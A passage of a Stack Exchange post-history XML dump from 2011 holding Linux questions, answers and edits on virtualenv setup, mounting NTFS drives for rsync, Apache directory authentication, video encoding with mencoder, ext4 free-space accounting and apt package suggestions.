  <row Id="33704" PostHistoryTypeId="5" PostId="13538" RevisionGUID="cde91a43-d8c7-47f1-96f0-f6585b930785" CreationDate="2011-05-21T13:44:50.597" UserId="885" Comment="deleted 27 characters in body; edited title" Text="I have a problem setting up a Virtualenv on my web host server (to install python modules later on)&#xD;&#xA;&#xD;&#xA;So far I tried this (over SSH):&#xD;&#xA;&#xD;&#xA;    wget http://pypi.python.org/packages/source/v/virtualenv/virtualenv-1.5.2.tar.gz&#xD;&#xA;    tar xzf virtualenv-1.5.2.tar.gz&#xD;&#xA;    ~/usr/lib/python2.4 virtualenv-1.5.2/virtualenv.py ~/data/env&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    ~/usr/lib/python2.4 setup.py install&#xD;&#xA;&#xD;&#xA;I don't get any errors or output and cannot find the ~/data/env-directory that should be created. What is going wrong? Or what is the next step?&#xD;&#xA;" />
  <row Id="33705" PostHistoryTypeId="4" PostId="13538" RevisionGUID="cde91a43-d8c7-47f1-96f0-f6585b930785" CreationDate="2011-05-21T13:44:50.597" UserId="885" Comment="deleted 27 characters in body; edited title" Text="Virtualenv creation seems to do nothing" />
  <row Id="33706" PostHistoryTypeId="2" PostId="13544" RevisionGUID="63ed3dd6-0cc6-4b3a-9004-49b0f336c585" CreationDate="2011-05-21T14:04:28.173" UserId="732" Text="To harken back to an earlier question, your nifty tool, which sounds like a good idea to me, but I've never heard of such a beast existing, needs to check things like filesystem type and sizes.&#xD;&#xA;&#xD;&#xA;A real life example that happened to me in 2002: two people installed SuSE 7.3 systems on two adjacent rack-mounted servers. They put a lot of effort into getting the packages exactly the same on both servers.  A short while later, we had problems with some software in development.  It came down to ext3 filesystem on one server, Reiserfs on the other.  A plain &quot;ls&quot; on Reiserfs gives file names in lexical order, but not on ext3.  One program failed on out-of-order filenames." />
  <row Id="33707" PostHistoryTypeId="5" PostId="13539" RevisionGUID="4a87c2c2-b757-4ac4-90ca-764ab47c15a1" CreationDate="2011-05-21T14:30:34.193" UserId="1321" Comment="fix code formatting" Text="I want to sync an USB drive with a folder located on a NTFS partition which is not mounted at boot time. I have found a command to do that: `rsync -axu /media/USB/folder /home/user/folder`. But I have to have the NTFS drive already mounted.&#xD;&#xA;&#xD;&#xA;How can I detect if a NTFS drive is mounted or not from a script and if is not to mount it? I use Linux (Ubuntu).&#xD;&#xA;&#xD;&#xA;This is the little script modified (the original is [here][1]) with your help!&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    ## CONFIG SECTION&#xD;&#xA;    MOUNT_DRIVE=/dev/disk/by-id/scsi-SATA_Hitachi_HTS5416_SB3404GRGJRKBS-part5&#xD;&#xA;    MOUNT_POINT=/media/Windows/&#xD;&#xA;    # Local folder to sync with&#xD;&#xA;    SYNC_LOC=/media/Windows/vasia/Disertatie/&#xD;&#xA;    # Device folder to sync with&#xD;&#xA;    SYNC_DEV=Disertatie&#xD;&#xA;    #&#xD;&#xA;    ## SCRIPT SECTION&#xD;&#xA;    #verify if the drives are mounted&#xD;&#xA;    if mount | grep -q &quot;/media/Windows/&quot;; then&#xD;&#xA;    #device is mounted&#xD;&#xA;    echo &quot;Windows NTFS Drive is mounted!&quot;&#xD;&#xA;    else&#xD;&#xA;    #device is not mounted,let's mount it&#xD;&#xA;    mount $MOUNT_DRIVE $MOUNT_POINT&#xD;&#xA;    fi&#xD;&#xA;    # Wait for thumbdrive to settle&#xD;&#xA;    sleep 10&#xD;&#xA;    # Synchronize thumbdrive with local&#xD;&#xA;    rsync -axu /media/DISK_IMG/${SYNC_DEV}/ ${SYNC_LOC}/&#xD;&#xA;    # Synchronize local with thumbdrive&#xD;&#xA;    #rsync -axu ${SYNC_LOC}/ /media/disk/${SYNC_DEV}/&#xD;&#xA;    # Inform user that synchronization is complete.&#xD;&#xA;    zenity --title &quot;Thumbdrive Sync&quot; \&#xD;&#xA;           --info --text &quot;File synchronization        complete.&quot;&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;&quot; title=&quot;workaround 6-character edit limit&quot;&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=542664" />
  <row Id="33708" PostHistoryTypeId="24" PostId="13539" RevisionGUID="4a87c2c2-b757-4ac4-90ca-764ab47c15a1" CreationDate="2011-05-21T14:30:34.193" Comment="Proposed by 1321 approved by 885 edit id of 388" />
  <row Id="33710" PostHistoryTypeId="2" PostId="13545" RevisionGUID="5e424a68-3b20-40b1-a0f1-b136a8ad341f" CreationDate="2011-05-21T15:11:57.530" UserId="6797" Text="I have apache webserver and in apache conf folder i have&#xD;&#xA;&#xD;&#xA;    Alias /backups &quot;/backups&quot;&#xD;&#xA;    &lt;Directory &quot;/backups&quot;&gt;&#xD;&#xA;        AllowOverride None&#xD;&#xA;        Options Indexes&#xD;&#xA;        Order allow,deny&#xD;&#xA;        Allow from all&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can access files via http://127.0.0.1/backups&#xD;&#xA;&#xD;&#xA;But problem is everyone can access that.&#xD;&#xA;&#xD;&#xA;I have the web interface e,g  &#xD;&#xA;&#xD;&#xA;&gt; http://localhost/admin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;that is protected with htaccess and password .&#xD;&#xA;&#xD;&#xA;Now i don't want separate htaccess and htpasswd fro /backups . Is there any way to use same htaccess and htpasswd for backups folder&#xD;&#xA;&#xD;&#xA;because i don't want second password prompt to come when user click on /backups in the web interface&#xD;&#xA;" />
  <row Id="33711" PostHistoryTypeId="1" PostId="13545" RevisionGUID="5e424a68-3b20-40b1-a0f1-b136a8ad341f" CreationDate="2011-05-21T15:11:57.530" UserId="6797" Text="Is there any other way of authenticate linux folder other than htaccess" />
  <row Id="33712" PostHistoryTypeId="3" PostId="13545" RevisionGUID="5e424a68-3b20-40b1-a0f1-b136a8ad341f" CreationDate="2011-05-21T15:11:57.530" UserId="6797" Text="élinuxàéapacheàéauthenticationàéwebserverà" />
  <row Id="33713" PostHistoryTypeId="2" PostId="13546" RevisionGUID="1434ea83-2639-4c00-be13-4cbf6961a116" CreationDate="2011-05-21T15:12:06.157" UserId="6960" Text="E.g.: for family videos, films, etc.&lt;br&gt;&#xD;&#xA;I use to use: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;	mencoder INPUT.avi -o OUTPUT.avi -ovc x264 -x264encopts bitrate=750 pass=1 nr=2000 -oac mp3lame -lameopts cbr:br=128&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;It still will have good quality, and the smallest video size.&lt;br&gt;&#xD;&#xA;Are there any better then this? [command line]&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="33714" PostHistoryTypeId="1" PostId="13546" RevisionGUID="1434ea83-2639-4c00-be13-4cbf6961a116" CreationDate="2011-05-21T15:12:06.157" UserId="6960" Text="Video archiveing method?" />
  <row Id="33715" PostHistoryTypeId="3" PostId="13546" RevisionGUID="1434ea83-2639-4c00-be13-4cbf6961a116" CreationDate="2011-05-21T15:12:06.157" UserId="6960" Text="élinuxà" />
  <row Id="33716" PostHistoryTypeId="25" PostId="13539" RevisionGUID="b232a199-7f2d-4f81-a6e0-6db1cadd77d4" CreationDate="2011-05-21T15:12:28.793" Comment="http://twitter.com/#!/StackUnix/status/71956531557572608" />
  <row Id="33718" PostHistoryTypeId="5" PostId="13546" RevisionGUID="6311251a-9eba-497d-9b61-6f6694d51d13" CreationDate="2011-05-21T15:26:40.657" UserId="885" Comment="English" Text="I want to archive family videos, films, etc. I'm currently using:&#xD;&#xA;&#xD;&#xA;    mencoder INPUT.avi -o OUTPUT.avi -ovc x264 -x264encopts bitrate=750 pass=1 nr=2000 -oac mp3lame -lameopts cbr:br=128&#xD;&#xA;&#xD;&#xA;I want to retain good quality, but obtain the smallest video size. Can I do better than this? (Command-line applications only please.)&#xD;&#xA;" />
  <row Id="33719" PostHistoryTypeId="4" PostId="13546" RevisionGUID="6311251a-9eba-497d-9b61-6f6694d51d13" CreationDate="2011-05-21T15:26:40.657" UserId="885" Comment="English" Text="Video archiving method?" />
  <row Id="33720" PostHistoryTypeId="6" PostId="13546" RevisionGUID="6311251a-9eba-497d-9b61-6f6694d51d13" CreationDate="2011-05-21T15:26:40.657" UserId="885" Comment="English" Text="écommandölineàévideoàéencodingà" />
  <row Id="33722" PostHistoryTypeId="5" PostId="13545" RevisionGUID="d02e7ba8-14f0-4c52-aa4d-70c0eeb51ae1" CreationDate="2011-05-21T15:31:04.353" UserId="885" Comment="English; title" Text="I have an Apache webserver, and in the Apache configuration, I have&#xD;&#xA;&#xD;&#xA;    Alias /backups &quot;/backups&quot;&#xD;&#xA;    &lt;Directory &quot;/backups&quot;&gt;&#xD;&#xA;        AllowOverride None&#xD;&#xA;        Options Indexes&#xD;&#xA;        Order allow,deny&#xD;&#xA;        Allow from all&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can access files via `http://127.0.0.1/backups`. The problem is everyone can access that.&#xD;&#xA;&#xD;&#xA;I have a web interface, e.g. `http://localhost/admin`m that is protected with htaccess and password.&#xD;&#xA;&#xD;&#xA;Now I don't want separate `.htaccess` and `.htpasswd` for `/backups`, and I don't want a second password prompt when a user clicks on `/backups` in the web interface. Is there any way to use same `.htaccess` and `.htpasswd` for the backups directory?&#xD;&#xA;" />
  <row Id="33723" PostHistoryTypeId="4" PostId="13545" RevisionGUID="d02e7ba8-14f0-4c52-aa4d-70c0eeb51ae1" CreationDate="2011-05-21T15:31:04.353" UserId="885" Comment="English; title" Text="Directory access control with Apache: do I need to use a specific .htaccess?" />
  <row Id="33724" PostHistoryTypeId="5" PostId="13546" RevisionGUID="1c68e9ff-44db-46fd-9b19-a35b3dfba7cb" CreationDate="2011-05-21T15:35:05.830" UserId="688" Comment="deleted 54 characters in body" Text="For family videos, films, etc. I use to use:&#xD;&#xA;&#xD;&#xA;    mencoder INPUT.avi -o OUTPUT.avi -ovc x264 -x264encopts bitrate=750 pass=1 nr=2000 -oac mp3lame -lameopts cbr:br=128&#xD;&#xA;&#xD;&#xA;It still will have good quality, and the smallest video size. Are there any better options than this?&#xD;&#xA;" />
  <row Id="33725" PostHistoryTypeId="8" PostId="13546" RevisionGUID="7a5ab5ce-977d-4252-bf4f-f73b5c455f4b" CreationDate="2011-05-21T15:35:32.773" UserId="688" Comment="Rollback to [6311251a-9eba-497d-9b61-6f6694d51d13]" Text="I want to archive family videos, films, etc. I'm currently using:&#xD;&#xA;&#xD;&#xA;    mencoder INPUT.avi -o OUTPUT.avi -ovc x264 -x264encopts bitrate=750 pass=1 nr=2000 -oac mp3lame -lameopts cbr:br=128&#xD;&#xA;&#xD;&#xA;I want to retain good quality, but obtain the smallest video size. Can I do better than this? (Command-line applications only please.)&#xD;&#xA;" />
  <row Id="33726" PostHistoryTypeId="5" PostId="11652" RevisionGUID="c4724002-42a5-41e8-ae26-dd0c0b128876" CreationDate="2011-05-21T15:37:16.783" UserId="885" Comment="English; title; edited tags" Text="&lt;sub&gt; *I may be abusing the word console but I mean the mode without X i.e. pressing `^+Alt F1` and then log as other user where I want to use my chosen layout with USB keyboard.* &lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;X works, it configures the new USB keyboard to my choice when I plug it in. But the console keyboard layout is stuck to the setting specified by the kernel. I am trying to change that:&#xD;&#xA;&#xD;&#xA;    # usbhidctl -f /dev/uhid0 -w keyboard.encoding=us                                       &#xD;&#xA;    usbhidctl: Failed to match: keyboard.encoding&#xD;&#xA;&#xD;&#xA;Some info about the OpenBSD version:&#xD;&#xA;&#xD;&#xA;    # uname -rv&#xD;&#xA;    4.7 GENERIC.MP#449&#xD;&#xA;" />
  <row Id="33727" PostHistoryTypeId="4" PostId="11652" RevisionGUID="c4724002-42a5-41e8-ae26-dd0c0b128876" CreationDate="2011-05-21T15:37:16.783" UserId="885" Comment="English; title; edited tags" Text="How to change the USB keyboard layout in an OpenBSD console?" />
  <row Id="33728" PostHistoryTypeId="6" PostId="11652" RevisionGUID="c4724002-42a5-41e8-ae26-dd0c0b128876" CreationDate="2011-05-21T15:37:16.783" UserId="885" Comment="English; title; edited tags" Text="ékeyboardàéopenbsdàéconsoleàékeyboardölayoutà" />
  <row Id="33729" PostHistoryTypeId="6" PostId="11538" RevisionGUID="5540983b-f80e-4809-ac16-b02a06c84a02" CreationDate="2011-05-21T15:37:54.287" UserId="885" Comment="edited tags" Text="évirtualömachineàécharacteröencodingàévmwareàéslackwareàéspecialöcharactersà" />
  <row Id="33730" PostHistoryTypeId="6" PostId="11602" RevisionGUID="dedd5ca7-2c44-422d-9852-0d035981028d" CreationDate="2011-05-21T15:38:18.110" UserId="885" Comment="edited tags" Text="étextöprocessingàéutilitiesàécharacteröencodingà" />
  <row Id="33731" PostHistoryTypeId="6" PostId="5464" RevisionGUID="42cd2aea-bffc-47fc-99f9-433298a4a9bf" CreationDate="2011-05-21T15:38:28.577" UserId="885" Comment="edited tags" Text="évideoàédvdàévideoöencodingà" />
  <row Id="33732" PostHistoryTypeId="6" PostId="13546" RevisionGUID="5ee136e6-23ac-49f6-beed-8514c6d444a8" CreationDate="2011-05-21T15:38:38.030" UserId="885" Comment="edited tags" Text="écommandölineàévideoàévideoöencodingà" />
  <row Id="33733" PostHistoryTypeId="6" PostId="3675" RevisionGUID="81a44048-e97d-47d1-b43b-e2a8dc81f3bd" CreationDate="2011-05-21T15:38:57.890" UserId="885" Comment="edited tags" Text="éencryptionàécryptographyàébase64à" />
  <row Id="33734" PostHistoryTypeId="2" PostId="13547" RevisionGUID="13d4f02a-7bdb-4bdc-83ba-d4aa64f97a87" CreationDate="2011-05-21T17:08:41.460" UserId="7654" Text="I've recently formated a 1.5 TB drive with the intention of i. a. replacing ntfs with ext4.&#xD;&#xA;&#xD;&#xA;Then I noticed that the files I saved don't fit on the new partition.&#xD;&#xA;&#xD;&#xA;    df:&#xD;&#xA;&#xD;&#xA;    ext4 (ext3 &amp; ext2 show the same behavior)&#xD;&#xA;    Filesystem      1K-blocks   Used  Available Use% Mounted on&#xD;&#xA;    /dev/sdb1      1442146364   71160 1442075204    1% /media/Seagate&#xD;&#xA;&#xD;&#xA;    ntfs (similar to all other options that gparted offers):&#xD;&#xA;    /dev/sdb1      1465137148  110700 1465026448    1% /media/Seagate&#xD;&#xA;&#xD;&#xA;That 1K-blocks difference means a glaring 22 GiB less usable space.&#xD;&#xA;&#xD;&#xA;I have already executed&#xD;&#xA;&#xD;&#xA;    tune2fs -O \^has_journal&#xD;&#xA;    tune2fs -r 0&#xD;&#xA;    tune2fs -m 0&#xD;&#xA;&#xD;&#xA;with, unsurprisingly, no effect as that does not affect blocks that just aren't there.&#xD;&#xA;&#xD;&#xA;Still, fdisk reports that the ext4 partition covers the entire disk.&#xD;&#xA;&#xD;&#xA;    fdisk -l /dev/sdb:&#xD;&#xA;&#xD;&#xA;    WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted.&#xD;&#xA;&#xD;&#xA;    Disk /dev/sdb: 1500.3 GB, 1500301910016 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 182401 cylinders, total 2930277168 sectors&#xD;&#xA;    Units = sectors of 1 * 512 = 512 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0x00000000&#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sdb1               1  2930277167  1465138583+  ee  GPT&#xD;&#xA;&#xD;&#xA;And thus e. g. resize2fs reports that there's &quot;Nothing to do!&quot;&#xD;&#xA;&#xD;&#xA;    dumpe2fs -h /dev/sdb1:&#xD;&#xA;    dumpe2fs 1.41.14 (22-Dec-2010)&#xD;&#xA;    Filesystem volume name:   &lt;none&gt;&#xD;&#xA;    Last mounted on:          &lt;not available&gt;&#xD;&#xA;    Filesystem UUID:          d6fc8971-89bd-4c03-a7cd-abdb945d2173&#xD;&#xA;    Filesystem magic number:  0xEF53&#xD;&#xA;    Filesystem revision #:    1 (dynamic)&#xD;&#xA;    Filesystem features:      ext_attr resize_inode dir_index filetype extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isize&#xD;&#xA;    Filesystem flags:         signed_directory_hash &#xD;&#xA;    Default mount options:    (none)&#xD;&#xA;    Filesystem state:         clean&#xD;&#xA;    Errors behavior:          Continue&#xD;&#xA;    Filesystem OS type:       Linux&#xD;&#xA;    Inode count:              91578368&#xD;&#xA;    Block count:              366284288&#xD;&#xA;    Reserved block count:     0&#xD;&#xA;    Free blocks:              360518801&#xD;&#xA;    Free inodes:              91578357&#xD;&#xA;    First block:              0&#xD;&#xA;    Block size:               4096&#xD;&#xA;    Fragment size:            4096&#xD;&#xA;    Reserved GDT blocks:      936&#xD;&#xA;    Blocks per group:         32768&#xD;&#xA;    Fragments per group:      32768&#xD;&#xA;    Inodes per group:         8192&#xD;&#xA;    Inode blocks per group:   512&#xD;&#xA;    Flex block group size:    16&#xD;&#xA;    Filesystem created:       Sat May 21 17:12:04 2011&#xD;&#xA;    Last mount time:          Sat May 21 17:15:30 2011&#xD;&#xA;    Last write time:          Sat May 21 17:24:32 2011&#xD;&#xA;    Mount count:              1&#xD;&#xA;    Maximum mount count:      32&#xD;&#xA;    Last checked:             Sat May 21 17:12:04 2011&#xD;&#xA;    Check interval:           15552000 (6 months)&#xD;&#xA;    Next check after:         Thu Nov 17 16:12:04 2011&#xD;&#xA;    Lifetime writes:          1372 MB&#xD;&#xA;    Reserved blocks uid:      0 (user root)&#xD;&#xA;    Reserved blocks gid:      0 (group root)&#xD;&#xA;    First inode:              11&#xD;&#xA;    Inode size:	          256&#xD;&#xA;    Required extra isize:     28&#xD;&#xA;    Desired extra isize:      28&#xD;&#xA;    Default directory hash:   half_md4&#xD;&#xA;    Directory Hash Seed:      c334e6ef-b060-45d2-b65d-4ac94167cb09&#xD;&#xA;    Journal backup:           inode blocks&#xD;&#xA;&#xD;&#xA;Is there any way to reclaim that space? I've found absolutely nothing on the internet that would explain why the ext systems waste so much space." />
  <row Id="33735" PostHistoryTypeId="1" PostId="13547" RevisionGUID="13d4f02a-7bdb-4bdc-83ba-d4aa64f97a87" CreationDate="2011-05-21T17:08:41.460" UserId="7654" Text="ext4: How to recover missing space / blocks? (not journal / reserved blocks related)" />
  <row Id="33736" PostHistoryTypeId="3" PostId="13547" RevisionGUID="13d4f02a-7bdb-4bdc-83ba-d4aa64f97a87" CreationDate="2011-05-21T17:08:41.460" UserId="7654" Text="élinuxàéfilesystemsàépartitionàédisköusageàéext4à" />
  <row Id="33737" PostHistoryTypeId="2" PostId="13548" RevisionGUID="30c58f38-8064-4ae3-bdb7-b56f6ec89cd1" CreationDate="2011-05-21T18:08:12.120" UserId="7638" Text="On Ubuntu Desktop 10.04.1&#xD;&#xA;&#xD;&#xA;I have just run `apt-get install` to install a package. Amongst the list of suggested packages is `ssh`. &#xD;&#xA;&#xD;&#xA;I'm confused, because I am sure that I already have `ssh` installed:&#xD;&#xA;&#xD;&#xA;    # ssh --version&#xD;&#xA;    usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]&#xD;&#xA;               [-D [bind_address:]port] [-e escape_char] [-F configfile]&#xD;&#xA;               [-i identity_file] [-L [bind_address:]port:host:hostport]&#xD;&#xA;               [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]&#xD;&#xA;               [-R [bind_address:]port:host:hostport] [-S ctl_path]&#xD;&#xA;               [-w local_tun[:remote_tun]] [user@]hostname [command]&#xD;&#xA;&#xD;&#xA;So...&#xD;&#xA;&#xD;&#xA;**When `apt-get install` suggests packages, does it take my existing set-up into consideration before making the suggestion? If so, why does it suggest something that I already have?**" />
  <row Id="33738" PostHistoryTypeId="1" PostId="13548" RevisionGUID="30c58f38-8064-4ae3-bdb7-b56f6ec89cd1" CreationDate="2011-05-21T18:08:12.120" UserId="7638" Text="Why does apt-get install suggest packages that I already have?" />
  <row Id="33739" PostHistoryTypeId="3" PostId="13548" RevisionGUID="30c58f38-8064-4ae3-bdb7-b56f6ec89cd1" CreationDate="2011-05-21T18:08:12.120" UserId="7638" Text="éinstallàéaptà" />
  <row Id="33740" PostHistoryTypeId="25" PostId="13547" RevisionGUID="ab1819ea-4f25-4485-82fe-7b5f2d140d13" CreationDate="2011-05-21T18:12:29.517" Comment="http://twitter.com/#!/StackUnix/status/72001832934850561" />
  <row Id="33741" PostHistoryTypeId="2" PostId="13549" RevisionGUID="b52b1bb5-c57d-44a1-9295-7b38703c7884" CreationDate="2011-05-21T18:29:00.737" UserId="6487" Text="There is one other solution on how you can do it. You can create a file in the NTFS file system and then check if this file exists. In your case the other solutions are probably better. But if you need to check if a NFS or SMB file system is mounted it is sometimes better to check for a file because you want to be sure that it is not only mounted but as well accessible. Then you would do it like this:&#xD;&#xA;&#xD;&#xA;    if [ ! -f /your/mounted/fs/mount-check.txt ];&#xD;&#xA;    then&#xD;&#xA;        echo &quot;Here you have to put your mount command.&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33742" PostHistoryTypeId="2" PostId="13550" RevisionGUID="286ede9f-cfcb-4a5e-bd68-23cfb2b49ebe" CreationDate="2011-05-21T18:29:52.833" UserId="885" Text="You have the `ssh` program. You don't have the package called `ssh`.&#xD;&#xA;&#xD;&#xA;Ubuntu splits ssh into two packages: [`openssh-server`](http://packages.ubuntu.com/openssh-server) and [`openssh-client`](http://packages.ubuntu.com/openssh-client). The reason for the split is that many people just need the client, not the server. Having the server installed and running when you don't want it isn't just (tiny) a waste of resources, it's a security risk if you have weak passwords.&#xD;&#xA;&#xD;&#xA;There's also a package called [`ssh`](http://packages.ubuntu.com/ssh). It's intended as a way to say “I just want ssh, all of it, don't bother me with the details”.&#xD;&#xA;&#xD;&#xA;APT suggests a package P if one of the packages it's installing suggests P and P isn't installed yet. A suggestion means that&#xD;&#xA;&#xD;&#xA;&gt; the listed packages are related to this one and can perhaps enhance its usefulness, but that installing this one without them is perfectly reasonable.&#xD;&#xA;&#xD;&#xA;(in the words of the [Debian Policy Manual](http://www.debian.org/doc/debian-policy/ch-relationships.html#s-binarydeps), which defines the packaging format introduced by Debian and also used by Ubuntu).&#xD;&#xA;" />
  <row Id="33743" PostHistoryTypeId="5" PostId="13516" RevisionGUID="5d69c562-14e1-4217-ab2f-cc5c348fe589" CreationDate="2011-05-21T19:00:45.337" UserId="5945" Comment="added 1172 characters in body" Text="Currently I have Ubuntu 11.04 - Natty, with Unity as the default environment; but I just want to install KDE along-side it, and I don't have perfect bandwidth. So I took Kubuntu 11.04 cdrom from my friend and inserted it to my cdrom. After running `apt-cdrom add` it prints out this: &#xD;&#xA;&#xD;&#xA;    Using CD-ROM mount point /media/apt/&#xD;&#xA;    Identifying.. [ce3c168e46b345c6adc05b209f603d08-2]&#xD;&#xA;    Scanning disc for index files..&#xD;&#xA;    &#xD;&#xA;    E: Unable to stat the mount point /media/Kubuntu\04011.04\040amd64/ - stat (2: No such file or directory)&#xD;&#xA;    E: Unable to stat the mount point /media/Kubuntu\04011.04\040amd64/ - stat (2: No such file or directory)&#xD;&#xA;&#xD;&#xA;I have tested the cdrom for the infections but it was just ok. What's the problem? &#xD;&#xA;&#xD;&#xA;UPDATE: my friend just asked me to put print my `fstab` entry here. as expected, my cdrom device is not listed in it but here it is:&#xD;&#xA;&#xD;&#xA;    # /etc/fstab: static file system information.&#xD;&#xA;    #&#xD;&#xA;    # Use 'blkid -o value -s UUID' to print the universally unique identifier&#xD;&#xA;    # for a device; this may be used with UUID= as a more robust way to name&#xD;&#xA;    # devices that works even if disks are added and removed. See fstab(5).&#xD;&#xA;    #&#xD;&#xA;    # &lt;file system&gt; &lt;mount point&gt;   &lt;type&gt;  &lt;options&gt;       &lt;dump&gt;  &lt;pass&gt;&#xD;&#xA;    proc            /proc           proc    nodev,noexec,nosuid 0       0&#xD;&#xA;    # / was on /dev/sda5 during installation&#xD;&#xA;    UUID=d8caef34-1670-4525-a5b5-df889f62aa1e /               ext4    errors=remount-ro 0       1&#xD;&#xA;    # /home was on /dev/sda7 during installation&#xD;&#xA;    UUID=7b71d3a8-bbea-477e-8b04-0c9651d0e12e /home           ext4    defaults        0       2&#xD;&#xA;    # /windows was on /dev/sda3 during installation&#xD;&#xA;    UUID=CC523DE8523DD7C2 /windows        ntfs    defaults,umask=007,gid=46 0       0&#xD;&#xA;    # swap was on /dev/sda6 during installation&#xD;&#xA;    UUID=3a281560-f3aa-4795-b396-0810e1eb15e2 none            swap    sw              0       0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33744" PostHistoryTypeId="2" PostId="13551" RevisionGUID="ac7aedc7-ff0d-4a4e-960e-19d962ce6cd7" CreationDate="2011-05-21T19:06:39.290" UserId="885" Text="Let's see. The device size is 1,465,138,583½ kB = 1,500,301,909,504 B. The filesystem consists of 366,284,288 blocks of 4096 B each, which is 1,500,300,443,648 B. I don't know what the remaining 1,465,856 B (1.4 MB) are used for (additional copies of the superblock? I know there are a few kB of space at the beginning for the bootloader.).&#xD;&#xA;&#xD;&#xA;The filesystem contains 91,578,368 inodes of 256 bytes each, which takes up 23,444,062,208 B (about 22 GB, hint, hint). Then there is 1,442,146,364 kB = 1,476,757,876,736 B for file contents. This accounts for 23,444,062,208 B + 1,476,757,876,736 B = 1,500,201,938,944 B. The remaining size is 98,504,704 B = 24,029 blocks which is in the right range to be the journal size.&#xD;&#xA;&#xD;&#xA;As you can see, everything is accounted for. (Ok, almost everything, but we're talking megabytes, not gigabytes.)&#xD;&#xA;" />
  <row Id="33745" PostHistoryTypeId="2" PostId="13552" RevisionGUID="f5afd573-ea30-47ec-b798-f842343fbe7a" CreationDate="2011-05-21T19:11:28.493" UserId="1627" Text="First of all, the difference in available space you are seeing doesn't mean at all that there is space &quot;wasted&quot;; it is not wasted because it is of fundamental importance for the filesystem to function. You should not compare Ext4 and NTFS in this way without a very big &quot;but&quot; specifying all the design and structural differences between filesystems, and also specifics of each implementation (e.g. how each driver reports free space to the VFS layer).&#xD;&#xA;&#xD;&#xA;Imagine the partition as a huge space where you can put any pieces of data you have. If you have only one piece of data with a size equal to the partition, you could just write it starting at the beginning of the partition and be cool with it. But you don't. Instead you may have thousands of small files, and all these files grouped in different ways, and each file associated with many other small pieces of data (name, date/time and permissions), etc. You have to organize the big space of the partition so that you can reach all these pieces of data quickly and efficiently. Also, you have to be concerned with how to write new pieces of data and discard old pieces of data efficiently. You need [data structures][1].&#xD;&#xA;&#xD;&#xA;And there is [a lot of data structures][2]. Some of them are very dumb, others allow you to retrieve data more quickly at the expense of more slower writes, other allow writes more quickly at the expense of reads, some still may be very good at both reads and writes but require long pauses and idle overhead while it rearranges the data, etc.&#xD;&#xA;&#xD;&#xA;You certainly want a system that:&#xD;&#xA;&#xD;&#xA; 1. Is very fast to write information on it;&#xD;&#xA; 2. Is very fast to retrieve information from it;&#xD;&#xA; 3. Is good at organizing and managing the information stored in it;&#xD;&#xA; 4. Makes good use of the space (partition) where the filesystem is stored;&#xD;&#xA; 5. Is resilient against hardware problems, so that you still get most or all your information back on partial system failures;&#xD;&#xA; 6. Is resilient against software problems, so that a bug in an application, or a malicious application installed, will not destroy your data permanently;&#xD;&#xA; 7. Is resilient against human errors, so that it forgives you when you accidentally orders the system to delete something you shouldn't (a.k.a. the trash/recycle bin).&#xD;&#xA;&#xD;&#xA;High-performance filesystems allow very fast reads and writes at the expense of some space. Some of the fastest data structures used in filesystems, like [hash tables][3] and [B-trees][4], are very complex, and they reserve more space than it is actually in use in order to allow very fast accesses.&#xD;&#xA;&#xD;&#xA;Ext4 has other important properties. There is no single point-of-failure in the filesystem. There are many copies of critical data spread through the partition, while some other filesystems (I can't say for NTFS) may render all your data unreadable if a failure happens on the right spot. Also, Ext4 reserves a lot of space for your data right at filesystem creation stage, while NTFS grows with your data.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Data_structures&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_data_structures&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Hash_table&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/B-tree" />
  <row Id="33746" PostHistoryTypeId="5" PostId="13547" RevisionGUID="182879f5-6c71-4b49-a41a-d295829dce60" CreationDate="2011-05-21T19:17:36.740" UserId="885" Comment="better title; toned town aggressivity" Text="I've recently formated a 1.5 TB drive with the intention of replacing ntfs with ext4.&#xD;&#xA;&#xD;&#xA;Then I noticed that the files I saved don't fit on the new partition.&#xD;&#xA;&#xD;&#xA;    df:&#xD;&#xA;&#xD;&#xA;    ext4 (ext3 &amp; ext2 show the same behavior)&#xD;&#xA;    Filesystem      1K-blocks   Used  Available Use% Mounted on&#xD;&#xA;    /dev/sdb1      1442146364   71160 1442075204    1% /media/Seagate&#xD;&#xA;&#xD;&#xA;    ntfs (similar to all other options that gparted offers):&#xD;&#xA;    /dev/sdb1      1465137148  110700 1465026448    1% /media/Seagate&#xD;&#xA;&#xD;&#xA;That 1K-blocks difference means a glaring 22 GiB less usable space.&#xD;&#xA;&#xD;&#xA;I have already executed&#xD;&#xA;&#xD;&#xA;    tune2fs -O \^has_journal&#xD;&#xA;    tune2fs -r 0&#xD;&#xA;    tune2fs -m 0&#xD;&#xA;&#xD;&#xA;with, unsurprisingly, no effect as that does not affect blocks that just aren't there.&#xD;&#xA;&#xD;&#xA;Still, fdisk reports that the ext4 partition covers the entire 